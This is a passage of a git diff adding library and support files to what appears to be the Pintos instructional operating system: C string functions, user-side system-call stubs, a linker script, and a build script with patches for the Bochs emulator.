+ for (length = 0; string[length] != '\0'; length++)
+ if (strchr (stop, string[length]) != NULL)
+ break;
+ return length;
+}
+
+/* Returns a pointer to the first character in STRING that is
+ also in STOP. If no character in STRING is in STOP, returns a
+ null pointer. */
+char *
+strpbrk (const char *string, const char *stop)
+{
+ for (; *string != '\0'; string++)
+ if (strchr (stop, *string) != NULL)
+ return (char *) string;
+ return NULL;
+}
+
+/* Returns a pointer to the last occurrence of C in STRING.
+ Returns a null pointer if C does not occur in STRING. */
+char *
+strrchr (const char *string, int c_)
+{
+ char c = c_;
+ const char *p = NULL;
+
+ for (; *string != '\0'; string++)
+ if (*string == c)
+ p = string;
+ return (char *) p;
+}
+
+/* Returns the length of the initial substring of STRING that
+ consists of characters in SKIP. */
+size_t
+strspn (const char *string, const char *skip)
+{
+ size_t length;
+
+ for (length = 0; string[length] != '\0'; length++)
+ if (strchr (skip, string[length]) == NULL)
+ break;
+ return length;
+}
+
+/* Returns a pointer to the first occurrence of NEEDLE within
+ HAYSTACK. Returns a null pointer if NEEDLE does not exist
+ within HAYSTACK. */
+char *
+strstr (const char *haystack, const char *needle)
+{
+ size_t haystack_len = strlen (haystack);
+ size_t needle_len = strlen (needle);
+
+ if (haystack_len >= needle_len)
+ {
+ size_t i;
+
+ for (i = 0; i <= haystack_len - needle_len; i++)
+ if (!memcmp (haystack + i, needle, needle_len))
+ return (char *) haystack + i;
+ }
+
+ return NULL;
+}
+
+/* Breaks a string into tokens separated by DELIMITERS. The
+ first time this function is called, S should be the string to
+ tokenize, and in subsequent calls it must be a null pointer.
+ SAVE_PTR is the address of a `char *' variable used to keep
+ track of the tokenizer's position. The return value each time
+ is the next token in the string, or a null pointer if no
+ tokens remain.
+
+ This function treats multiple adjacent delimiters as a single
+ delimiter. The returned tokens will never be length 0.
+ DELIMITERS may change from one call to the next within a
+ single string.
+
+ strtok_r() modifies the string S, changing delimiters to null
+ bytes. Thus, S must be a modifiable string. String literals,
+ in particular, are *not* modifiable in C, even though for
+ backward compatibility they are not `const'.
+
+ Example usage:
+
+ char s[] = " String to tokenize. ";
+ char *token, *save_ptr;
+
+ for (token = strtok_r (s, " ", &save_ptr); token != NULL;
+ token = strtok_r (NULL, " ", &save_ptr))
+ printf ("'%s'\n", token);
+
+ outputs:
+
+ 'String'
+ 'to'
+ 'tokenize.'
+*/
+char *
+strtok_r (char *s, const char *delimiters, char **save_ptr)
+{
+ char *token;
+
+ ASSERT (delimiters != NULL);
+ ASSERT (save_ptr != NULL);
+
+ /* If S is nonnull, start from it.
+ If S is null, start from saved position. */
+ if (s == NULL)
+ s = *save_ptr;
+ ASSERT (s != NULL);
+
+ /* Skip any DELIMITERS at our current position. */
+ while (strchr (delimiters, *s) != NULL)
+ {
+ /* strchr() will always return nonnull if we're searching
+ for a null byte, because every string contains a null
+ byte (at the end). */
+ if (*s == '\0')
+ {
+ *save_ptr = s;
+ return NULL;
+ }
+
+ s++;
+ }
+
+ /* Skip any non-DELIMITERS up to the end of the string. */
+ token = s;
+ while (strchr (delimiters, *s) == NULL)
+ s++;
+ if (*s != '\0')
+ {
+ *s = '\0';
+ *save_ptr = s + 1;
+ }
+ else
+ *save_ptr = s;
+ return token;
+}
+
+/* Sets the SIZE bytes in DST to VALUE. */
+void *
+memset (void *dst_, int value, size_t size)
+{
+ unsigned char *dst = dst_;
+
+ ASSERT (dst != NULL || size == 0);
+
+ while (size-- > 0)
+ *dst++ = value;
+
+ return dst_;
+}
+
+/* Returns the length of STRING. */
+size_t
+strlen (const char *string)
+{
+ const char *p;
+
+ ASSERT (string != NULL);
+
+ for (p = string; *p != '\0'; p++)
+ continue;
+ return p - string;
+}
+
+/* If STRING is less than MAXLEN characters in length, returns
+ its actual length. Otherwise, returns MAXLEN. */
+size_t
+strnlen (const char *string, size_t maxlen)
+{
+ size_t length;
+
+ for (length = 0; string[length] != '\0' && length < maxlen; length++)
+ continue;
+ return length;
+}
+
+/* Copies string SRC to DST. If SRC is longer than SIZE - 1
+ characters, only SIZE - 1 characters are copied. A null
+ terminator is always written to DST, unless SIZE is 0.
+ Returns the length of SRC, not including the null terminator.
+
+ strlcpy() is not in the standard C library, but it is an
+ increasingly popular extension. See
+ http://www.courtesan.com/todd/papers/strlcpy.html for
+ information on strlcpy(). */
+size_t
+strlcpy (char *dst, const char *src, size_t size)
+{
+ size_t src_len;
+
+ ASSERT (dst != NULL);
+ ASSERT (src != NULL);
+
+ src_len = strlen (src);
+ if (size > 0)
+ {
+ size_t dst_len = size - 1;
+ if (src_len < dst_len)
+ dst_len = src_len;
+ memcpy (dst, src, dst_len);
+ dst[dst_len] = '\0';
+ }
+ return src_len;
+}
+
+/* As strlcpy, but only copies the first word from SRC. Words are
+ * delimeted by space. Leading space is ignored.
+ * ( added by klaar@ida )
+ */
+size_t
+strlcpy_first_word (char *dst, const char *src, size_t size)
+{
+ size_t i = size;
+
+ /* skip leading spaces */
+ while (*src != '\0' && *src == ' ')
+ ++src;
+
+ /* copy at most size characters */
+ if (size > 0)
+ {
+ while (i > 1) /* save 1 for '\0' */
+ {
+ if (*src == '\0' || *src == ' ')
+ break;
+
+ *dst++ = *src++;
+ --i;
+ }
+ *dst = '\0';
+ }
+ return size - i; /* strlen (dst) */
+}
+
+/* Concatenates string SRC to DST. The concatenated string is
+ limited to SIZE - 1 characters. A null terminator is always
+ written to DST, unless SIZE is 0. Returns the length that the
+ concatenated string would have assuming that there was
+ sufficient space, not including a null terminator.
+
+ strlcat() is not in the standard C library, but it is an
+ increasingly popular extension. See
+ http://www.courtesan.com/todd/papers/strlcpy.html for
+ information on strlcpy(). */
+size_t
+strlcat (char *dst, const char *src, size_t size)
+{
+ size_t src_len, dst_len;
+
+ ASSERT (dst != NULL);
+ ASSERT (src != NULL);
+
+ src_len = strlen (src);
+ dst_len = strlen (dst);
+ if (size > 0 && dst_len < size)
+ {
+ size_t copy_cnt = size - dst_len - 1;
+ if (src_len < copy_cnt)
+ copy_cnt = src_len;
+ memcpy (dst + dst_len, src, copy_cnt);
+ dst[dst_len + copy_cnt] = '\0';
+ }
+ return src_len + dst_len;
+}
+
diff --git a/src/lib/string.h b/src/lib/string.h
new file mode 100644
index 0000000..5cc19d1
--- /dev/null
+++ b/src/lib/string.h
@@ -0,0 +1,36 @@
+#ifndef __LIB_STRING_H
+#define __LIB_STRING_H
+
+#include <stddef.h>
+
+/* Standard. */
+void *memcpy (void *, const void *, size_t);
+void *memmove (void *, const void *, size_t);
+char *strncat (char *, const char *, size_t);
+int memcmp (const void *, const void *, size_t);
+int strcmp (const char *, const char *);
+void *memchr (const void *, int, size_t);
+char *strchr (const char *, int);
+size_t strcspn (const char *, const char *);
+char *strpbrk (const char *, const char *);
+char *strrchr (const char *, int);
+size_t strspn (const char *, const char *);
+char *strstr (const char *, const char *);
+void *memset (void *, int, size_t);
+size_t strlen (const char *);
+
+/* Extensions. */
+size_t strlcpy (char *, const char *, size_t);
+size_t strlcpy_first_word (char *, const char *, size_t);
+size_t strlcat (char *, const char *, size_t);
+char *strtok_r (char *, const char *, char **);
+size_t strnlen (const char *, size_t);
+
+/* Try to be helpful. */
+#define strcpy dont_use_strcpy_use_strlcpy
+#define strncpy dont_use_strncpy_use_strlcpy
+#define strcat dont_use_strcat_use_strlcat
+#define strncat dont_use_strncat_use_strlcat
+#define strtok dont_use_strtok_use_strtok_r
+
+#endif /* lib/string.h */
diff --git a/src/lib/syscall-nr.h b/src/lib/syscall-nr.h
new file mode 100644
index 0000000..ccacbd6
--- /dev/null
+++ b/src/lib/syscall-nr.h
@@ -0,0 +1,36 @@
+#ifndef __LIB_SYSCALL_NR_H
+#define __LIB_SYSCALL_NR_H
+
+/* System call numbers. */
+enum
+ {
+ /* The basic systemcalls. The ones you will implement. */
+ SYS_HALT, /* Halt the operating system. */
+ SYS_EXIT, /* Terminate this process. */
+ SYS_EXEC, /* Start another process. */
+ SYS_WAIT, /* Wait for a child process to die. */
+ SYS_CREATE, /* Create a file. */
+ SYS_REMOVE, /* Delete a file. */
+ SYS_OPEN, /* Open a file. */
+ SYS_FILESIZE, /* Obtain a file's size. */
+ SYS_READ, /* Read from a file. */
+ SYS_WRITE, /* Write to a file. */
+ SYS_SEEK, /* Change position in a file. */
+ SYS_TELL, /* Report current position in a file. */
+ SYS_CLOSE, /* Close a file. */
+
+ /* Memory mapping system calls. */
+ SYS_MMAP, /* Map a file into memory. */
+ SYS_MUNMAP, /* Remove a memory mapping. */
+
+ /* Filesystem system calls. */
+ SYS_CHDIR, /* Change the current directory. */
+ SYS_MKDIR, /* Create a directory. */
+ SYS_READDIR, /* Reads a directory entry. */
+ SYS_ISDIR, /* Tests if a fd represents a directory. */
+ SYS_INUMBER, /* Returns the inode number for a fd. */
+
+ SYS_NUMBER_OF_CALLS
+ };
+
+#endif /* lib/syscall-nr.h */
diff --git a/src/lib/user/console.c b/src/lib/user/console.c
new file mode 100644
index 0000000..22bdc8c
--- /dev/null
+++ b/src/lib/user/console.c
@@ -0,0 +1,94 @@
+#include <stdio.h>
+#include <string.h>
+#include <syscall.h>
+#include <syscall-nr.h>
+
+/* The standard vprintf() function,
+ which is like printf() but uses a va_list. */
+int
+vprintf (const char *format, va_list args)
+{
+ return vhprintf (STDOUT_FILENO, format, args);
+}
+
+/* Like printf(), but writes output to the given HANDLE. */
+int
+hprintf (int handle, const char *format, ...)
+{
+ va_list args;
+ int retval;
+
+ va_start (args, format);
+ retval = vhprintf (handle, format, args);
+ va_end (args);
+
+ return retval;
+}
+
+/* Writes string S to the console, followed by a new-line
+ character. */
+int
+puts (const char *s)
+{
+ write (STDOUT_FILENO, s, strlen (s));
+ putchar ('\n');
+
+ return 0;
+}
+
+/* Writes C to the console. */
+int
+putchar (int c)
+{
+ char c2 = c;
+ write (STDOUT_FILENO, &c2, 1);
+ return c;
+}
+
+/* Auxiliary data for vhprintf_helper(). */
+struct vhprintf_aux
+ {
+ char buf[64]; /* Character buffer. */
+ char *p; /* Current position in buffer. */
+ int char_cnt; /* Total characters written so far. */
+ int handle; /* Output file handle. */
+ };
+
+static void add_char (char, void *);
+static void flush (struct vhprintf_aux *);
+
+/* Formats the printf() format specification FORMAT with
+ arguments given in ARGS and writes the output to the given
+ HANDLE. */
+int
+vhprintf (int handle, const char *format, va_list args)
+{
+ struct vhprintf_aux aux;
+ aux.p = aux.buf;
+ aux.char_cnt = 0;
+ aux.handle = handle;
+ __vprintf (format, args, add_char, &aux);
+ flush (&aux);
+ return aux.char_cnt;
+}
+
+/* Adds C to the buffer in AUX, flushing it if the buffer fills
+ up. */
+static void
+add_char (char c, void *aux_)
+{
+ struct vhprintf_aux *aux = aux_;
+ *aux->p++ = c;
+ if (aux->p >= aux->buf + sizeof aux->buf)
+ flush (aux);
+ aux->char_cnt++;
+}
+
+/* Flushes the buffer in AUX. */
+static void
+flush (struct vhprintf_aux *aux)
+{
+ if (aux->p > aux->buf)
+ write (aux->handle, aux->buf, aux->p - aux->buf);
+ aux->p = aux->buf;
+}
diff --git a/src/lib/user/debug.c b/src/lib/user/debug.c
new file mode 100644
index 0000000..f49b874
--- /dev/null
+++ b/src/lib/user/debug.c
@@ -0,0 +1,25 @@
+#include <debug.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <syscall.h>
+
+/* Aborts the user program, printing the source file name, line
+ number, and function name, plus a user-specific message. */
+void
+debug_panic (const char *file, int line, const char *function,
+ const char *message, ...)
+{
+ va_list args;
+
+ printf ("User process ABORT at %s:%d in %s(): ", file, line, function);
+
+ va_start (args, message);
+ vprintf (message, args);
+ printf ("\n");
+ va_end (args);
+
+ debug_backtrace ();
+
+ exit (1);
+}
diff --git a/src/lib/user/entry.c b/src/lib/user/entry.c
new file mode 100644
index 0000000..a707c70
--- /dev/null
+++ b/src/lib/user/entry.c
@@ -0,0 +1,10 @@
+#include <syscall.h>
+
+int main (int, char *[]);
+void _start (int argc, char *argv[]);
+
+void
+_start (int argc, char *argv[])
+{
+ exit (main (argc, argv));
+}
diff --git a/src/lib/user/stdio.h b/src/lib/user/stdio.h
new file mode 100644
index 0000000..b9f3cc6
--- /dev/null
+++ b/src/lib/user/stdio.h
@@ -0,0 +1,7 @@
+#ifndef __LIB_USER_STDIO_H
+#define __LIB_USER_STDIO_H
+
+int hprintf (int, const char *, ...) PRINTF_FORMAT (2, 3);
+int vhprintf (int, const char *, va_list) PRINTF_FORMAT (2, 0);
+
+#endif /* lib/user/stdio.h */
diff --git a/src/lib/user/syscall.c b/src/lib/user/syscall.c
new file mode 100644
index 0000000..2c0d987
--- /dev/null
+++ b/src/lib/user/syscall.c
@@ -0,0 +1,185 @@
+#include <syscall.h>
+#include "../syscall-nr.h"
+
+/* Invokes syscall NUMBER, passing no arguments, and returns the
+ return value as an `int'. */
+#define syscall0(NUMBER) \
+ ({ \
+ int retval; \
+ asm volatile \
+ ("pushl %[number]; int $0x30; addl $4, %%esp" \
+ : "=a" (retval) \
+ : [number] "i" (NUMBER) \
+ : "memory"); \
+ retval; \
+ })
+
+/* Invokes syscall NUMBER, passing argument ARG0, and returns the
+ return value as an `int'. */
+#define syscall1(NUMBER, ARG0) \
+ ({ \
+ int retval; \
+ asm volatile \
+ ("pushl %[arg0]; pushl %[number]; int $0x30; addl $8, %%esp" \
+ : "=a" (retval) \
+ : [number] "i" (NUMBER), \
+ [arg0] "g" (ARG0) \
+ : "memory"); \
+ retval; \
+ })
+
+/* Invokes syscall NUMBER, passing arguments ARG0 and ARG1, and
+ returns the return value as an `int'. */
+#define syscall2(NUMBER, ARG0, ARG1) \
+ ({ \
+ int retval; \
+ asm volatile \
+ ("pushl %[arg1]; pushl %[arg0]; " \
+ "pushl %[number]; int $0x30; addl $12, %%esp" \
+ : "=a" (retval) \
+ : [number] "i" (NUMBER), \
+ [arg0] "g" (ARG0), \
+ [arg1] "g" (ARG1) \
+ : "memory"); \
+ retval; \
+ })
+
+/* Invokes syscall NUMBER, passing arguments ARG0, ARG1, and
+ ARG2, and returns the return value as an `int'. */
+#define syscall3(NUMBER, ARG0, ARG1, ARG2) \
+ ({ \
+ int retval; \
+ asm volatile \
+ ("pushl %[arg2]; pushl %[arg1]; pushl %[arg0]; " \
+ "pushl %[number]; int $0x30; addl $16, %%esp" \
+ : "=a" (retval) \
+ : [number] "i" (NUMBER), \
+ [arg0] "g" (ARG0), \
+ [arg1] "g" (ARG1), \
+ [arg2] "g" (ARG2) \
+ : "memory"); \
+ retval; \
+ })
+
+void
+halt (void)
+{
+ syscall0 (SYS_HALT);
+ NOT_REACHED ();
+}
+
+void
+exit (int status)
+{
+ syscall1 (SYS_EXIT, status);
+ NOT_REACHED ();
+}
+
+pid_t
+exec (const char *file)
+{
+ return (pid_t) syscall1 (SYS_EXEC, file);
+}
+
+int
+wait (pid_t pid)
+{
+ return syscall1 (SYS_WAIT, pid);
+}
+
+bool
+create (const char *file, unsigned initial_size)
+{
+ return syscall2 (SYS_CREATE, file, initial_size);
+}
+
+bool
+remove (const char *file)
+{
+ return syscall1 (SYS_REMOVE, file);
+}
+
+int
+open (const char *file)
+{
+ return syscall1 (SYS_OPEN, file);
+}
+
+int
+filesize (int fd)
+{
+ return syscall1 (SYS_FILESIZE, fd);
+}
+
+int
+read (int fd, void *buffer, unsigned size)
+{
+ return syscall3 (SYS_READ, fd, buffer, size);
+}
+
+int
+write (int fd, const void *buffer, unsigned size)
+{
+ return syscall3 (SYS_WRITE, fd, buffer, size);
+}
+
+void
+seek (int fd, unsigned position)
+{
+ syscall2 (SYS_SEEK, fd, position);
+}
+
+unsigned
+tell (int fd)
+{
+ return syscall1 (SYS_TELL, fd);
+}
+
+void
+close (int fd)
+{
+ syscall1 (SYS_CLOSE, fd);
+}
+
+mapid_t
+mmap (int fd, void *addr)
+{
+ return syscall2 (SYS_MMAP, fd, addr);
+}
+
+void
+munmap (mapid_t mapid)
+{
+ syscall1 (SYS_MUNMAP, mapid);
+}
+
+bool
+chdir (const char *dir)
+{
+ return syscall1 (SYS_CHDIR, dir);
+}
+
+bool
+mkdir (const char *dir)
+{
+ return syscall1 (SYS_MKDIR, dir);
+}
+
+bool
+readdir (int fd, char name[READDIR_MAX_LEN + 1])
+{
+ return syscall2 (SYS_READDIR, fd, name);
+}
+
+bool
+isdir (int fd)
+{
+ return syscall1 (SYS_ISDIR, fd);
+}
+
+int
+inumber (int fd)
+{
+ return syscall1 (SYS_INUMBER, fd);
+}
+
diff --git a/src/lib/user/syscall.h b/src/lib/user/syscall.h
new file mode 100644
index 0000000..a2b44f8
--- /dev/null
+++ b/src/lib/user/syscall.h
@@ -0,0 +1,49 @@
+#ifndef __LIB_USER_SYSCALL_H
+#define __LIB_USER_SYSCALL_H
+
+#include <stdbool.h>
+#include <debug.h>
+
+/* Process identifier. */
+typedef int pid_t;
+#define PID_ERROR ((pid_t) -1)
+
+/* Map region identifier. */
+typedef int mapid_t;
+#define MAP_FAILED ((mapid_t) -1)
+
+/* Maximum characters in a filename written by readdir(). */
+#define READDIR_MAX_LEN 14
+
+/* Typical return values from main() and arguments to exit(). */
+#define EXIT_SUCCESS 0 /* Successful execution. */
+#define EXIT_FAILURE 1 /* Unsuccessful execution. */
+
+/* The basic systemcalls you will implement. */
+void halt (void) NO_RETURN;
+void exit (int status) NO_RETURN;
+pid_t exec (const char *file);
+int wait (pid_t);
+bool create (const char *file, unsigned initial_size);
+bool remove (const char *file);
+int open (const char *file);
+int filesize (int fd);
+int read (int fd, void *buffer, unsigned length);
+int write (int fd, const void *buffer, unsigned length);
+void seek (int fd, unsigned position);
+unsigned tell (int fd);
+void close (int fd);
+
+/* Memory mapping system calls. */
+mapid_t mmap (int fd, void *addr);
+void munmap (mapid_t);
+
+/* Filesystem system calls. */
+bool chdir (const char *dir);
+bool mkdir (const char *dir);
+bool readdir (int fd, char name[READDIR_MAX_LEN + 1]);
+bool isdir (int fd);
+int inumber (int fd);
+
+
+#endif /* lib/user/syscall.h */
diff --git a/src/lib/user/user.lds b/src/lib/user/user.lds
new file mode 100644
index 0000000..cc6d6c0
--- /dev/null
+++ b/src/lib/user/user.lds
@@ -0,0 +1,57 @@
+OUTPUT_FORMAT("elf32-i386")
+OUTPUT_ARCH(i386)
+ENTRY(_start)
+
+SECTIONS
+{
+ /* Read-only sections, merged into text segment: */
+ __executable_start = 0x08048000 + SIZEOF_HEADERS;
+ . = 0x08048000 + SIZEOF_HEADERS;
+ .text : { *(.text) } = 0x90
+ .rodata : { *(.rodata) }
+
+ /* Adjust the address for the data segment. We want to adjust up to
+ the same address within the page on the next page up. */
+ . = ALIGN (0x1000) - ((0x1000 - .) & (0x1000 - 1));
+ . = DATA_SEGMENT_ALIGN (0x1000, 0x1000);
+
+ .data : { *(.data) }
+ .bss : { *(.bss) }
+
+ /* Stabs debugging sections. */
+ .stab 0 : { *(.stab) }
+ .stabstr 0 : { *(.stabstr) }
+ .stab.excl 0 : { *(.stab.excl) }
+ .stab.exclstr 0 : { *(.stab.exclstr) }
+ .stab.index 0 : { *(.stab.index) }
+ .stab.indexstr 0 : { *(.stab.indexstr) }
+ .comment 0 : { *(.comment) }
+
+ /* DWARF debug sections.
+ Symbols in the DWARF debugging sections are relative to the beginning
+ of the section so we begin them at 0. */
+ /* DWARF 1 */
+ .debug 0 : { *(.debug) }
+ .line 0 : { *(.line) }
+ /* GNU DWARF 1 extensions */
+ .debug_srcinfo 0 : { *(.debug_srcinfo) }
+ .debug_sfnames 0 : { *(.debug_sfnames) }
+ /* DWARF 1.1 and DWARF 2 */
+ .debug_aranges 0 : { *(.debug_aranges) }
+ .debug_pubnames 0 : { *(.debug_pubnames) }
+ /* DWARF 2 */
+ .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) }
+ .debug_abbrev 0 : { *(.debug_abbrev) }
+ .debug_line 0 : { *(.debug_line) }
+ .debug_frame 0 : { *(.debug_frame) }
+ .debug_str 0 : { *(.debug_str) }
+ .debug_loc 0 : { *(.debug_loc) }
+ .debug_macinfo 0 : { *(.debug_macinfo) }
+ /* SGI/MIPS DWARF 2 extensions */
+ .debug_weaknames 0 : { *(.debug_weaknames) }
+ .debug_funcnames 0 : { *(.debug_funcnames) }
+ .debug_typenames 0 : { *(.debug_typenames) }
+ .debug_varnames 0 : { *(.debug_varnames) }
+ /DISCARD/ : { *(.note.GNU-stack) }
+ /DISCARD/ : { *(.eh_frame) }
+}
diff --git a/src/misc/bochs-2.2.6-big-endian.patch b/src/misc/bochs-2.2.6-big-endian.patch
new file mode 100644
index 0000000..420f69b
--- /dev/null
+++ b/src/misc/bochs-2.2.6-big-endian.patch
@@ -0,0 +1,63 @@
+diff -urp bochs-2.2.6/gdbstub.cc bochs-2.2.6.orig/gdbstub.cc
+--- bochs-2.2.6.orig/gdbstub.cc 2006-01-17 09:15:29.000000000 -0800
++++ bochs-2.2.6/gdbstub.cc 2006-04-03 13:47:39.000000000 -0700
+@@ -672,35 +672,36 @@
+
+ case 'g':
+ #if !BX_SUPPORT_X86_64
+- registers[0] = EAX;
+- registers[1] = ECX;
+- registers[2] = EDX;
+- registers[3] = EBX;
+- registers[4] = ESP;
+- registers[5] = EBP;
+- registers[6] = ESI;
+- registers[7] = EDI;
++ WriteHostDWordToLittleEndian(registers + 0, EAX);
++ WriteHostDWordToLittleEndian(registers + 1, ECX);
++ WriteHostDWordToLittleEndian(registers + 2, EDX);
++ WriteHostDWordToLittleEndian(registers + 3, EBX);
++ WriteHostDWordToLittleEndian(registers + 4, ESP);
++ WriteHostDWordToLittleEndian(registers + 5, EBP);
++ WriteHostDWordToLittleEndian(registers + 6, ESI);
++ WriteHostDWordToLittleEndian(registers + 7, EDI);
+ if (last_stop_reason == GDBSTUB_EXECUTION_BREAKPOINT)
+ {
+- registers[8] = EIP + 1;
++ WriteHostDWordToLittleEndian(registers + 8, EIP + 1);
+ }
+ else
+ {
+- registers[8] = EIP;
++ WriteHostDWordToLittleEndian(registers + 8, EIP);
+ }
+- registers[9] = BX_CPU_THIS_PTR read_eflags();
+- registers[10] =
+- BX_CPU_THIS_PTR sregs[BX_SEG_REG_CS].selector.value;
+- registers[11] =
+- BX_CPU_THIS_PTR sregs[BX_SEG_REG_SS].selector.value;
+- registers[12] =
+- BX_CPU_THIS_PTR sregs[BX_SEG_REG_DS].selector.value;
+- registers[13] =
+- BX_CPU_THIS_PTR sregs[BX_SEG_REG_ES].selector.value;
+- registers[14] =
+- BX_CPU_THIS_PTR sregs[BX_SEG_REG_FS].selector.value;
+- registers[15] =
+- BX_CPU_THIS_PTR sregs[BX_SEG_REG_GS].selector.value;
++ WriteHostDWordToLittleEndian(registers + 9,
++ BX_CPU_THIS_PTR read_eflags());
++ WriteHostDWordToLittleEndian(registers + 10,
++ BX_CPU_THIS_PTR sregs[BX_SEG_REG_CS].selector.value);
++ WriteHostDWordToLittleEndian(registers + 11,
++ BX_CPU_THIS_PTR sregs[BX_SEG_REG_SS].selector.value);
++ WriteHostDWordToLittleEndian(registers + 12,
++ BX_CPU_THIS_PTR sregs[BX_SEG_REG_DS].selector.value);
++ WriteHostDWordToLittleEndian(registers + 13,
++ BX_CPU_THIS_PTR sregs[BX_SEG_REG_ES].selector.value);
++ WriteHostDWordToLittleEndian(registers + 14,
++ BX_CPU_THIS_PTR sregs[BX_SEG_REG_FS].selector.value);
++ WriteHostDWordToLittleEndian(registers + 15,
++ BX_CPU_THIS_PTR sregs[BX_SEG_REG_GS].selector.value);
+ mem2hex((char *)registers, obuf, NUMREGSBYTES);
+ #else
+ #define PUTREG(buf, val, len) do { \
diff --git a/src/misc/bochs-2.2.6-build.sh b/src/misc/bochs-2.2.6-build.sh
new file mode 100644
index 0000000..a8a44e3
--- /dev/null
+++ b/src/misc/bochs-2.2.6-build.sh
@@ -0,0 +1,40 @@
+#! /bin/sh -e
+
+if test -z "$SRCDIR" || test -z "$PINTOSDIR" || test -z "$DSTDIR"; then
+ echo "usage: env SRCDIR=<srcdir> PINTOSDIR=<srcdir> DSTDIR=<dstdir> sh $0"
+ echo " where <srcdir> contains bochs-2.2.6.tar.gz"
+ echo " and <pintosdir> is the root of the pintos source tree"
+ echo " and <dstdir> is the installation prefix (e.g. /usr/local)"
+ exit 1
+fi
+
+cd /tmp
+mkdir $$
+cd $$
+mkdir bochs-2.2.6
+tar xzf $SRCDIR/bochs-2.2.6.tar.gz
+cd bochs-2.2.6
+cat $PINTOSDIR/src/misc/bochs-2.2.6-ms-extensions.patch | patch -p1
+cat $PINTOSDIR/src/misc/bochs-2.2.6-big-endian.patch | patch -p1
+cat $PINTOSDIR/src/misc/bochs-2.2.6-jitter.patch | patch -p1
+cat $PINTOSDIR/src/misc/bochs-2.2.6-triple-fault.patch | patch -p1
+cat $PINTOSDIR/src/misc/bochs-2.2.6-solaris-tty.patch | patch -p1
+cat $PINTOSDIR/src/misc/bochs-2.2.6-page-fault-segv.patch | patch -p1
+cat $PINTOSDIR/src/misc/bochs-2.2.6-paranoia.patch | patch -p1
+cat $PINTOSDIR/src/misc/bochs-2.2.6-gdbstub-ENN.patch | patch -p1
+if test "`uname -s`" = "SunOS"; then
+ cat $PINTOSDIR/src/misc/bochs-2.2.6-solaris-link.patch | patch -p1
+fi
+CFGOPTS="--with-x --with-x11 --with-term --with-nogui --prefix=$DSTDIR"
+mkdir plain &&
+ cd plain &&
+ ../configure $CFGOPTS --enable-gdb-stub &&
+ make &&
+ make install &&
+ cd ..
+mkdir with-dbg &&
+ cd with-dbg &&
+ ../configure --enable-debugger $CFGOPTS &&
+ make &&
+ cp bochs $DSTDIR/bin/bochs-dbg &&
+ cd ..
diff --git a/src/misc/bochs-2.2.6-gdbstub-ENN.patch b/src/misc/bochs-2.2.6-gdbstub-ENN.patch
new file mode 100644
index 0000000..88a8145
--- /dev/null
+++ b/src/misc/bochs-2.2.6-gdbstub-ENN.patch
@@ -0,0 +1,29 @@
+--- bochs-2.2.6/gdbstub.cc 2006-01-17 12:15:29.000000000 -0500
++++ bochs-2.2.6-patched/gdbstub.cc 2007-02-06 23:04:51.095523904 -0500
+@@ -515,7 +515,7 @@
+ }
+ else
+ {
+- put_reply("ENN");
++ put_reply("Eff");
+ }
+ }
+ break;
+@@ -761,7 +761,7 @@
+ }
+ else
+ {
+- put_reply("ENN");
++ put_reply("Eff");
+ }
+ break;
+
+@@ -782,7 +782,7 @@
+ }
+ else
+ {
+- put_reply("ENN");
++ put_reply("Eff");
+ }
+ break;
+
diff --git a/src/misc/bochs-2.2.6-jitter.patch b/src/misc/bochs-2.2.6-jitter.patch
new file mode 100644
index 0000000..48917e0
--- /dev/null
+++ b/src/misc/bochs-2.2.6-jitter.patch
@@ -0,0 +1,61 @@
+diff -urp bochs-2.2.6/iodev/pit82c54.cc bochs-2.2.6.orig/iodev/pit82c54.cc
+--- bochs-2.2.6.orig/iodev/pit82c54.cc 2006-01-08 12:39:08.000000000 -0800
++++ bochs-2.2.6/iodev/pit82c54.cc 2006-04-03 14:00:27.000000000 -0700
+@@ -28,6 +28,7 @@
+
+ #include "iodev.h"
+ #include "pit82c54.h"
++#include <stdlib.h>
+ #define LOG_THIS this->
+
+
+@@ -359,7 +360,13 @@
+ case 2:
+ if(thisctr.count_written) {
+ if(thisctr.triggerGATE || thisctr.first_pass) {
+- set_count(thisctr, thisctr.inlatch);
++ unsigned n = thisctr.inlatch;
++ if (jitter && n > 5) {
++ n *= (double) rand() / RAND_MAX;
++ if (n < 5)
++ n = 5;
++ }
++ set_count(thisctr, n);
+ thisctr.next_change_time=(thisctr.count_binary-1) & 0xFFFF;
+ thisctr.null_count=0;
+ if(thisctr.inlatch==1) {
+diff -urp bochs-2.2.6/main.cc bochs-2.2.6.orig/main.cc
+--- bochs-2.2.6.orig/main.cc 2006-01-22 04:31:15.000000000 -0800
++++ bochs-2.2.6/main.cc 2006-04-03 14:00:54.000000000 -0700
+@@ -105,6 +105,7 @@
+ #endif
+
+ char *bochsrc_filename = NULL;
++int jitter = 0;
+
+ void bx_print_header ()
+ {
+@@ -459,6 +460,13 @@
+ else if (!strcmp ("-q", argv[arg])) {
+ SIM->get_param_enum(BXP_BOCHS_START)->set (BX_QUICK_START);
+ }
++ else if (!strcmp ("-j", argv[arg])) {
++ if (++arg >= argc) BX_PANIC(("-j must be followed by a number"));
++ else {
++ jitter = 1;
++ srand (atoi (argv[arg]));
++ }
++ }
+ else if (!strcmp ("-f", argv[arg])) {
+ if (++arg >= argc) BX_PANIC(("-f must be followed by a filename"));
+ else bochsrc_filename = argv[arg];
+diff -up /home/blp/cs140/bochs-2.2.6/bochs.h\~ /home/blp/cs140/bochs-2.2.6/bochs.h
+--- bochs-2.2.6/bochs.h.orig 2006-01-28 08:16:02.000000000 -0800
++++ bochs-2.2.6/bochs.h 2006-04-03 14:03:54.000000000 -0700
+@@ -698,4 +698,6 @@ int bx_init_hardware ();
+
+ #endif
+
++extern int jitter;
++
+ #endif /* BX_BOCHS_H */
diff --git a/src/misc/bochs-2.2.6-ms-extensions.patch b/src/misc/bochs-2.2.6-ms-extensions.patch
new file mode 100644
index 0000000..a6e50a0
--- /dev/null
+++ b/src/misc/bochs-2.2.6-ms-extensions.patch
@@ -0,0 +1,14 @@
+diff -urp orig/bochs-2.1.1/gui/Makefile.in bochs-2.1.1/gui/Makefile.in
+--- orig/bochs-2.1.1/gui/Makefile.in 2003-11-28 07:07:28.000000000 -0800
++++ bochs-2.1.1/gui/Makefile.in 2004-09-13 15:05:09.402039000 -0700
+@@ -44,7 +44,7 @@ SHELL = /bin/sh
+ @SET_MAKE@
+
+ CXX = @CXX@
+-CXXFLAGS = $(BX_INCDIRS) @CXXFLAGS@ @GUI_CXXFLAGS@
